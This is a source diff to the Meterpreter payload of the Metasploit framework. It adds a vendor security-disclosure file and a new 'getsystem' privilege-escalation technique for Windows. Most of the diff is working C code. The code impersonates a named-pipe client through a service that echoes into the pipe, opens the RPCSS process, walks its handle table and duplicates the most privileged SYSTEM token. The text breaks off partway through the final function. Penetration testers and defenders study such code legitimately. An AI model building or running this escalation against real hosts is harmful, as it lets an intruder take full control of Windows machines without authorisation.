diff --git a/.github/SECURITY.md b/.github/SECURITY.md
new file mode 100644
index 00000000..b280bfee
--- /dev/null
+++ b/.github/SECURITY.md
@@ -0,0 +1,35 @@
+# Reporting security issues
+
+Thanks for your interest in making Meterpreter more secure! If you feel
+that you have found a security issue involving Metasploit, Meterpreter,
+Recog, or any other Rapid7 open source project, you are welcome to let
+us know in the way that's most comfortable for you.
+
+## Via ZenDesk
+
+You can click on the big blue button at [Rapid7's Vulnerability
+Disclosure][r7-vulns] page, which will get you to our general
+vulnerability reporting system. While this does require a (free) ZenDesk
+account to use, you'll get regular updates on your issue as our software
+support teams work through it. As it happens [that page][r7-vulns] also
+will tell you what to expect when it comes to reporting vulns, how fast
+we'll fix and respond, and all the rest, so it's a pretty good read
+regardless.
+
+## Via email
+
+If you're more of a traditionalist, you can email your finding to
+security@rapid7.com. If you like, you can use our [PGP key][pgp] to
+encrypt your messages, but we certainly don't mind cleartext reports
+over email.
+
+## NOT via GitHub Issues
+
+Please don't! Disclosing security vulnerabilities to public bug trackers
+is kind of mean, even when it's well-intentioned, since you end up
+dropping 0-day on pretty much everyone right out of the gate. We'd prefer
+you didn't!
+
+[r7-vulns]:https://www.rapid7.com/security/disclosure/
+[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
+
diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h
old mode 100644
new mode 100755
index af084ecd..4c4280a1
--- a/c/meterpreter/source/common/common_command_ids.h
+++ b/c/meterpreter/source/common/common_command_ids.h
@@ -55,6 +55,7 @@
 #define COMMAND_ID_CORE_TRANSPORT_SETCERTHASH 31
 #define COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS 32
 #define COMMAND_ID_CORE_TRANSPORT_SLEEP 33
+#define COMMAND_ID_CORE_PIVOT_SESSION_NEW 34
 #define COMMAND_ID_STDAPI_FS_CHDIR 1001
 #define COMMAND_ID_STDAPI_FS_CHMOD 1002
 #define COMMAND_ID_STDAPI_FS_DELETE_DIR 1003
diff --git a/c/meterpreter/source/extensions/priv/elevate.c b/c/meterpreter/source/extensions/priv/elevate.c
index 4a7a9882..00382e0e 100644
--- a/c/meterpreter/source/extensions/priv/elevate.c
+++ b/c/meterpreter/source/extensions/priv/elevate.c
@@ -5,6 +5,7 @@
 #include "precomp.h"
 #include "common_metapi.h"
 #include "namedpipe.h"
+#include "namedpipe_rpcss.h"
 #include "tokendup.h"
 
 /*!
@@ -105,6 +106,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
 				break;
 			}
 		}
+
+		if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
+			dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
+			if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
+				dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
+				break;
+			}
+		}
+
 	} while( 0 );
 
 	if( response )
diff --git a/c/meterpreter/source/extensions/priv/elevate.h b/c/meterpreter/source/extensions/priv/elevate.h
index 2f21a7e1..8cb05b2f 100644
--- a/c/meterpreter/source/extensions/priv/elevate.h
+++ b/c/meterpreter/source/extensions/priv/elevate.h
@@ -5,11 +5,12 @@
 #ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
 #define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
 
-#define ELEVATE_TECHNIQUE_NONE					-1 ///< Identifier that indicates no technique was successful
-#define ELEVATE_TECHNIQUE_ANY					0  ///< Identifier that indicates that all techniques should be attempted.
-#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE		1  ///< Identifier for the Named Pipe service tecnique (#1)
-#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2	2  ///< Identifier for the Named Pipe service tecnique (#2)
-#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP		3  ///< Identifier for the Token Duplication service technique.
+#define ELEVATE_TECHNIQUE_NONE                    -1 ///< Identifier that indicates no technique was successful
+#define ELEVATE_TECHNIQUE_ANY                     0  ///< Identifier that indicates that all techniques should be attempted.
+#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE       1  ///< Identifier for the Named Pipe service technique (#1)
+#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2      2  ///< Identifier for the Named Pipe service technique (#2)
+#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP        3  ///< Identifier for the Token Duplication service technique.
+#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4  ///< Identifier for the Named Pipe service technique (RPCSS variant)
 
 typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h
 
diff --git a/c/meterpreter/source/extensions/priv/namedpipe.c b/c/meterpreter/source/extensions/priv/namedpipe.c
index 23d18886..e5d80f1b 100644
--- a/c/meterpreter/source/extensions/priv/namedpipe.c
+++ b/c/meterpreter/source/extensions/priv/namedpipe.c
@@ -3,42 +3,62 @@
 #include "namedpipe.h"
 #include "service.h"
 
+/*
+ * A post-impersonation callback that simply updates the meterpreter token to the
+ * current thread token. This is used by the standard service-based technique.
+ */
+DWORD post_callback_use_self(Remote * remote)
+{
+	HANDLE hToken = NULL;
+
+	// get a handle to this threads token
+	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
+		dprintf("[ELEVATE] post_callback_use_self. OpenThreadToken failed");
+		return GetLastError();
+	}
+
+	// now we can set the meterpreters thread token to that of our system
+	// token so all subsequent meterpreter threads will use this token.
+	met_api->thread.update_token(remote, hToken);
+	return ERROR_SUCCESS;
+}
+
 /*
  * Worker thread for named pipe impersonation. Creates a named pipe and impersonates
  * the first client which connects to it.
  */
 DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
 {
-	DWORD dwResult              = ERROR_ACCESS_DENIED;
-	HANDLE hServerPipe          = NULL;
-	HANDLE hToken               = NULL;
-	HANDLE hSem		    = NULL;
-	char * cpServicePipe        = NULL;
-	Remote * remote             = NULL;
-	BYTE bMessage[128]          = {0};
-	DWORD dwBytes               = 0;
+	DWORD dwResult                               = ERROR_ACCESS_DENIED;
+	HANDLE hPipe                                 = NULL;
+	HANDLE hSem                                  = NULL;
+	char * cpPipeName                            = NULL;
+	BYTE bMessage[128]                           = {0};
+	DWORD dwBytes                                = 0;
+	BOOL bImpersonated                           = FALSE;
+	PPRIV_POST_IMPERSONATION pPostImpersonation  = NULL;
 
 	do {
 		if (!thread) {
 			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
 		}
 
-		cpServicePipe = (char *)thread->parameter1;
-		remote        = (Remote *)thread->parameter2;
-		hSem          = (HANDLE)thread->parameter3;
+		cpPipeName         = (char *)thread->parameter1;
+		hSem               = (HANDLE)thread->parameter2;
+		pPostImpersonation = (PPRIV_POST_IMPERSONATION)thread->parameter3;
 
-		if (!cpServicePipe || !remote) {
+		if (!cpPipeName) {
 			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread.  invalid thread arguments",
 				ERROR_BAD_ARGUMENTS);
 		}
 
-		dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
+		dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
 
 		// create the named pipe for the client service to connect to
-		hServerPipe = CreateNamedPipe(cpServicePipe,
+		hPipe = CreateNamedPipe(cpPipeName,
 			PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
 
-		if (!hServerPipe) {
+		if (!hPipe) {
 			BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
 		}
 
@@ -48,55 +68,55 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
 					ERROR_DBG_TERMINATE_THREAD);
 			}
 
-			//signal the client that the pipe is ready
-                        if (hSem) {
-                                if (!ReleaseSemaphore(hSem, 1, NULL)) {
-				        BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
+			// signal the client that the pipe is ready
+            if (hSem) {
+                if (!ReleaseSemaphore(hSem, 1, NULL)) {
+					BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
 						ERROR_DBG_TERMINATE_THREAD);
 				}
 			}
 
 			// wait for a client to connect to our named pipe...
-			if (!ConnectNamedPipe(hServerPipe, NULL)) {
+			if (!ConnectNamedPipe(hPipe, NULL)) {
 				if (GetLastError() != ERROR_PIPE_CONNECTED)
 					continue;
 			}
 
-			dprintf("[ELEVATE] pipethread. got client conn.");
+			dprintf("[ELEVATE] elevate_namedpipe_thread. receieved a client connection");
 
-			// we can't impersonate a client untill we have performed a read on the pipe...
-			if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
+			// we can't impersonate a client until we have performed a read on the pipe...
+			if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
+				DisconnectNamedPipe(hPipe);
 				CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
 			}
 
 			// impersonate the client!
-			if (!ImpersonateNamedPipeClient(hServerPipe)) {
+			bImpersonated = ImpersonateNamedPipeClient(hPipe);
+			DisconnectNamedPipe(hPipe);
+			if (!bImpersonated) {
 				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
 			}
 
-			// get a handle to this threads token
-			if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
-				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
+			if (pPostImpersonation) {
+				dprintf("[ELEVATE] elevate_namedpipe_thread. dispatching to the post impersonation callback");
+				dwResult = pPostImpersonation->pCallback(pPostImpersonation->pCallbackParam);
+				if (dwResult != ERROR_SUCCESS) {
+					RevertToSelf();
+					BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
+				}
+			}
+			else {
+				dwResult = ERROR_SUCCESS;
 			}
-
-			// now we can set the meterpreters thread token to that of our system
-			// token so all subsequent meterpreter threads will use this token.
-			met_api->thread.update_token(remote, hToken);
-
-			dwResult = ERROR_SUCCESS;
-
 			break;
 		}
-
 	} while (0);
 
-	if (hServerPipe) {
-		DisconnectNamedPipe(hServerPipe);
-		CLOSE_HANDLE(hServerPipe);
+	if (hPipe) {
+		CLOSE_HANDLE(hPipe);
 	}
 
 	dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
-
 	return dwResult;
 }
 
@@ -109,13 +129,14 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
  */
 DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
 {
-	DWORD dwResult              = ERROR_SUCCESS;
-	char * cpServiceName        = NULL;
-	THREAD * pThread            = NULL;
-	HANDLE hSem                 = NULL;
-	char cServiceArgs[MAX_PATH] = {0};
-	char cServicePipe[MAX_PATH] = {0};
-	OSVERSIONINFO os            = {0};
+	DWORD dwResult                            = ERROR_SUCCESS;
+	char * cpServiceName                      = NULL;
+	THREAD * pThread                          = NULL;
+	HANDLE hSem                               = NULL;
+	char cServiceArgs[MAX_PATH]               = {0};
+	char cServicePipe[MAX_PATH]               = {0};
+	OSVERSIONINFO os                          = {0};
+	PRIV_POST_IMPERSONATION PostImpersonation;
 
 	do {
 		os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
@@ -126,7 +147,7 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
 
 		// filter out Windows NT4
 		if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
-			SetLastError(ERROR_ACCESS_DENIED);
+			SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
 			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
 		}
 
@@ -143,7 +164,10 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
 			"cmd.exe /c echo %s > %s", cpServiceName, cServicePipe);
 
 		hSem = CreateSemaphore(NULL, 0, 1, NULL);
-		pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
+		PostImpersonation.pCallback = post_callback_use_self;
+		PostImpersonation.pCallbackParam = remote;
+
+		pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
 		if (!pThread) {
 			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
 				ERROR_INVALID_HANDLE);
@@ -154,24 +178,24 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
 				ERROR_ACCESS_DENIED);
 		}
 
-		//wait for the thread to create the pipe(if it times out terminate)
-                if (hSem) {
-		        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
-			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
+		// wait for the thread to create the pipe, if it times out terminate
+        if (hSem) {
+		    if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
+			    BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
 					ERROR_ACCESS_DENIED);
 			}
-                } else {
-                        Sleep(500);
+        } else {
+            Sleep(500);
 		}
 
-		// start the elevator service (if it doesnt start first time we need to create it and then start it).
+		// start the elevator service (if it doesn't start first time we need to create it and then start it).
 		if (service_start(cpServiceName) != ERROR_SUCCESS) {
 			dprintf("[ELEVATE] service starting failed, attempting to create");
 			if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
 				BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
 			}
 			dprintf("[ELEVATE] creation of service succeeded, attempting to start");
-			// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
+			// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
 			// a valid service and it will never signal to the service manager that is is a running service.
 			service_start(cpServiceName);
 		}
@@ -216,20 +240,21 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
  */
 DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
 {
-	DWORD dwResult              = ERROR_SUCCESS;
-	THREAD * pThread            = NULL;
-	HANDLE hServiceFile         = NULL;
-	HANDLE hSem		    = NULL;
-	LPVOID lpServiceBuffer      = NULL;
-	char * cpServiceName        = NULL;
-	THREAD * pthread            = NULL;
-	char cServicePath[MAX_PATH] = {0};
-	char cServiceArgs[MAX_PATH] = {0};
-	char cServicePipe[MAX_PATH] = {0};
-	char cTempPath[MAX_PATH]    = {0};
-	DWORD dwBytes               = 0;
-	DWORD dwTotal               = 0;
-	DWORD dwServiceLength       = 0;
+	DWORD dwResult                            = ERROR_SUCCESS;
+	THREAD * pThread                          = NULL;
+	HANDLE hServiceFile                       = NULL;
+	HANDLE hSem                               = NULL;
+	LPVOID lpServiceBuffer                    = NULL;
+	char * cpServiceName                      = NULL;
+	THREAD * pthread                          = NULL;
+	char cServicePath[MAX_PATH]               = {0};
+	char cServiceArgs[MAX_PATH]               = {0};
+	char cServicePipe[MAX_PATH]               = {0};
+	char cTempPath[MAX_PATH]                  = {0};
+	DWORD dwBytes                             = 0;
+	DWORD dwTotal                             = 0;
+	DWORD dwServiceLength                     = 0;
+	PRIV_POST_IMPERSONATION PostImpersonation;
 
 	do
 	{
@@ -279,7 +304,10 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
 		}
 
 		hSem = CreateSemaphore(NULL, 0, 1, NULL);
-		pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem);
+		PostImpersonation.pCallback = post_callback_use_self;
+		PostImpersonation.pCallbackParam = remote;
+
+		pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, hSem, &PostImpersonation);
 		if (!pThread) {
 			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. met_api->thread.create failed",
 				ERROR_INVALID_HANDLE);
@@ -291,12 +319,13 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
 		}
 
 		//wait for the thread to create the pipe(if it times out terminate)
-                if (hSem) {
-                        if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
-			        BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
+        if (hSem) {
+			if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
+				BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
 					ERROR_ACCESS_DENIED);
-                } else {
-                        Sleep(500);
+			}
+        } else {
+                Sleep(500);
 		}
 
 		// start the elevator service (if it doesnt start first time we need to create it and then start it).
diff --git a/c/meterpreter/source/extensions/priv/namedpipe.h b/c/meterpreter/source/extensions/priv/namedpipe.h
index 16daf549..58806763 100644
--- a/c/meterpreter/source/extensions/priv/namedpipe.h
+++ b/c/meterpreter/source/extensions/priv/namedpipe.h
@@ -1,7 +1,14 @@
 #ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
 #define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_H
 
-DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet );
-DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet );
+typedef DWORD(*PostImpersonationCallback)(LPVOID);
+DWORD THREADCALL elevate_namedpipe_thread(THREAD* thread);
+DWORD elevate_via_service_namedpipe(Remote* remote, Packet* packet);
+DWORD elevate_via_service_namedpipe2(Remote* remote, Packet* packet);
+
+typedef struct _PRIV_POST_IMPERSONATION {
+	PostImpersonationCallback pCallback;
+	PVOID                     pCallbackParam;
+} PRIV_POST_IMPERSONATION, * PPRIV_POST_IMPERSONATION;
 
 #endif
diff --git a/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
new file mode 100755
index 00000000..2950d908
--- /dev/null
+++ b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.c
@@ -0,0 +1,395 @@
+#include <winternl.h>
+#include "precomp.h"
+#include "common_metapi.h"
+#include "namedpipe.h"
+#include "service.h"
+
+#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
+#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
+typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
+typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
+typedef NTSTATUS(WINAPI* PRtlGetVersion)(LPOSVERSIONINFOEXW);
+
+typedef enum _OBJECT_INFORMATION_CLASS {
+	ObjectBasicInformation = 0,
+	ObjectTypeInformation = 2
+} OBJECT_INFORMATION_CLASS;
+
+typedef enum _PROCESSINFOCLASS
+{
+	ProcessBasicInformation = 0,
+	ProcessHandleInformation = 51,
+} PROCESSINFOCLASS;
+
+typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
+{
+	HANDLE HandleValue;
+	ULONG_PTR HandleCount;
+	ULONG_PTR PointerCount;
+	ACCESS_MASK GrantedAccess;
+	ULONG ObjectTypeIndex;
+	ULONG HandleAttributes;
+	ULONG Reserved;
+} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
+
+typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
+{
+	ULONG_PTR NumberOfHandles;
+	ULONG_PTR Reserved;
+	PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
+
+typedef struct _OBJECT_TYPE_INFORMATION
+{
+	_UNICODE_STRING TypeName;
+	ULONG TotalNumberOfObjects;
+	ULONG TotalNumberOfHandles;
+	ULONG TotalPagedPoolUsage;
+	ULONG TotalNonPagedPoolUsage;
+	ULONG TotalNamePoolUsage;
+	ULONG TotalHandleTableUsage;
+	ULONG HighWaterNumberOfObjects;
+	ULONG HighWaterNumberOfHandles;
+	ULONG HighWaterPagedPoolUsage;
+	ULONG HighWaterNonPagedPoolUsage;
+	ULONG HighWaterNamePoolUsage;
+	ULONG HighWaterHandleTableUsage;
+	ULONG InvalidAttributes;
+	GENERIC_MAPPING GenericMapping;
+	ULONG ValidAccessMask;
+	BOOLEAN SecurityRequired;
+	BOOLEAN MaintainHandleCount;
+	UCHAR TypeIndex;
+	CHAR ReservedByte;
+	ULONG PoolType;
+	ULONG DefaultPagedPoolCharge;
+	ULONG DefaultNonPagedPoolCharge;
+} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
+
+/*
+ * Compare two LUID values and return true if they are the same.
+ */
+BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
+	return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
+}
+
+/*
+ * Get the object type index for token objects. The index changes between versions and using it
+ * simplifies the searching process.
+ */
+DWORD get_token_object_index(PULONG TokenIndex)
+{
+	HANDLE hToken = NULL;
+	NTSTATUS status;
+	HMODULE hNtdll = NULL;
+	NTQUERYOBJECT pNtQueryObject = NULL;
+	DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
+	POBJECT_TYPE_INFORMATION pObjTypeInfo = NULL;
+	ULONG ulLength = 0;
+
+	do {
+		if (!OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken)) {
+			BREAK_ON_ERROR("[ELEVATE] get_token_object_index. OpenProcessToken failed");
+		}
+
+		hNtdll = GetModuleHandle("ntdll");
+		if (hNtdll == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
+		}
+
+		pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
+		if (pNtQueryObject == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
+		}
+
+		status = pNtQueryObject(hToken, ObjectTypeInformation, NULL, 0, &ulLength);
+		if (NT_SUCCESS(status)) {
+			BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (1st call)", HRESULT_FROM_NT(status));
+		}
+
+		pObjTypeInfo = (POBJECT_TYPE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
+		if (pObjTypeInfo == NULL) {
+			BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		status = pNtQueryObject(hToken, ObjectTypeInformation, pObjTypeInfo, ulLength, NULL);
+		if (!NT_SUCCESS(status)) {
+			BREAK_WITH_ERROR("[ELEVATE] get_token_object_index. NtQueryObject failed (2nd call)", HRESULT_FROM_NT(status));
+		}
+
+		*TokenIndex = pObjTypeInfo->TypeIndex;
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	if (pObjTypeInfo) {
+		HeapFree(GetProcessHeap(), 0, pObjTypeInfo);
+	}
+	if (hToken) {
+		CloseHandle(hToken);
+	}
+	return dwResult;
+}
+
+DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
+{
+	NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;;
+	PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
+	ULONG ulLength = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION);
+	ULONG tokenIndex;
+	ULONG i;
+	ULONG ulMaxPrivCount = 0;
+	HANDLE hToken = NULL;
+	HANDLE hBestToken = NULL;
+	HANDLE hThread = GetCurrentThread();
+	DWORD dwResult = ERROR_UNIDENTIFIED_ERROR;
+	TOKEN_STATISTICS tokenStats;
+	LUID systemLuid = SYSTEM_LUID;
+	HMODULE hNtdll = NULL;
+	NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
+
+	do {
+		if (get_token_object_index(&tokenIndex) != ERROR_SUCCESS) {
+			BREAK_WITH_ERROR("[ELEVATE] get_system_token. get_token_object_index failed", ERROR_UNIDENTIFIED_ERROR);
+		}
+
+		hNtdll = GetModuleHandle("ntdll");
+		if (hNtdll == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
+		}
+
+		pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
+		if (pNtQueryInformationProcess == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
+		}
+
+		do {
+			ulLength += (sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * 16);
+			if (pHandleInfo) {
+				HeapFree(GetProcessHeap(), 0, pHandleInfo);
+				pHandleInfo = NULL;
+			}
+			pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ulLength);
+			if (pHandleInfo == NULL) {
+				BREAK_WITH_ERROR("[ELEVATE] get_system_token. HeapAlloc failed", ERROR_NOT_ENOUGH_MEMORY);
+			}
+
+			status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, pHandleInfo, ulLength, &ulLength);
+			if (NT_SUCCESS(status)) {
+				break;
+			}
+			if (status == STATUS_INFO_LENGTH_MISMATCH) {
+				continue;
+			}
+			dprintf("NtQueryInformationProcess returned NT_STATUS: %ul", status);
+			BREAK_WITH_ERROR("[ELEVATE] get_system_token. NtQueryInformationProcess failed", status);
+		} while (status == STATUS_INFO_LENGTH_MISMATCH);
+
+		if (!NT_SUCCESS(status)) {
+			BREAK_WITH_ERROR("[ELEVATE] get_system_token. failed to retrieve process handle information", ERROR_UNIDENTIFIED_ERROR);
+		}
+
+		for (i = 0; i < pHandleInfo->NumberOfHandles; i++) {
+			if (pHandleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
+				continue;
+			}
+
+			if ((pHandleInfo->Handles[i].GrantedAccess & TOKEN_ALL_ACCESS) != TOKEN_ALL_ACCESS) {
+				continue;
+			}
+
+			if (!DuplicateHandle(hProc, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hToken, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
+				CONTINUE_ON_ERROR("[ELEVATE] get_system_token. DuplicateHandle failed");
+			}
+
+			if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &ulLength)) {
+				CloseHandle(hToken);
+				CONTINUE_ON_ERROR("[ELEVATE] get_system_token. GetTokenInformation failed");
+			}
+
+			if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
+				CloseHandle(hToken);
+				continue;
+			}
+
+			if (tokenStats.PrivilegeCount <= ulMaxPrivCount) {
+				CloseHandle(hToken);
+				continue;
+			}
+
+			// newer versions of windows have more defined privileges so update the best token to the one with the most
+			ulMaxPrivCount = tokenStats.PrivilegeCount;
+			if (hBestToken) {
+				CloseHandle(hBestToken);
+			}
+			hBestToken = hToken;
+		}
+	} while (0);
+
+	if (hBestToken) {
+		*phToken = hBestToken;
+		dwResult = ERROR_SUCCESS;
+	}
+	if (pHandleInfo) {
+		HeapFree(GetProcessHeap(), 0, pHandleInfo);
+	}
+	return dwResult;
+}
+
+DWORD post_callback_use_rpcss(Remote* remote)
+{
+	SC_HANDLE hScm = NULL;
+	SC_HANDLE hSvc = NULL;
+	HANDLE hProc = NULL;
+	HANDLE hThread = GetCurrentThread();
+	SERVICE_STATUS_PROCESS procInfo;
+	DWORD dwBytes;
+	DWORD dwResult = ERROR_ACCESS_DENIED;
+	HANDLE hToken = NULL;
+
+	do {
+		hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
+		if (hScm == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
+		}
+
+		hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
+		if (hSvc == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
+		}
+
+		if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
+			BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
+		}
+
+		hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
+		if (hProc == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
+		}
+
+		if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
+			BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed", ERROR_UNIDENTIFIED_ERROR);
+		}
+
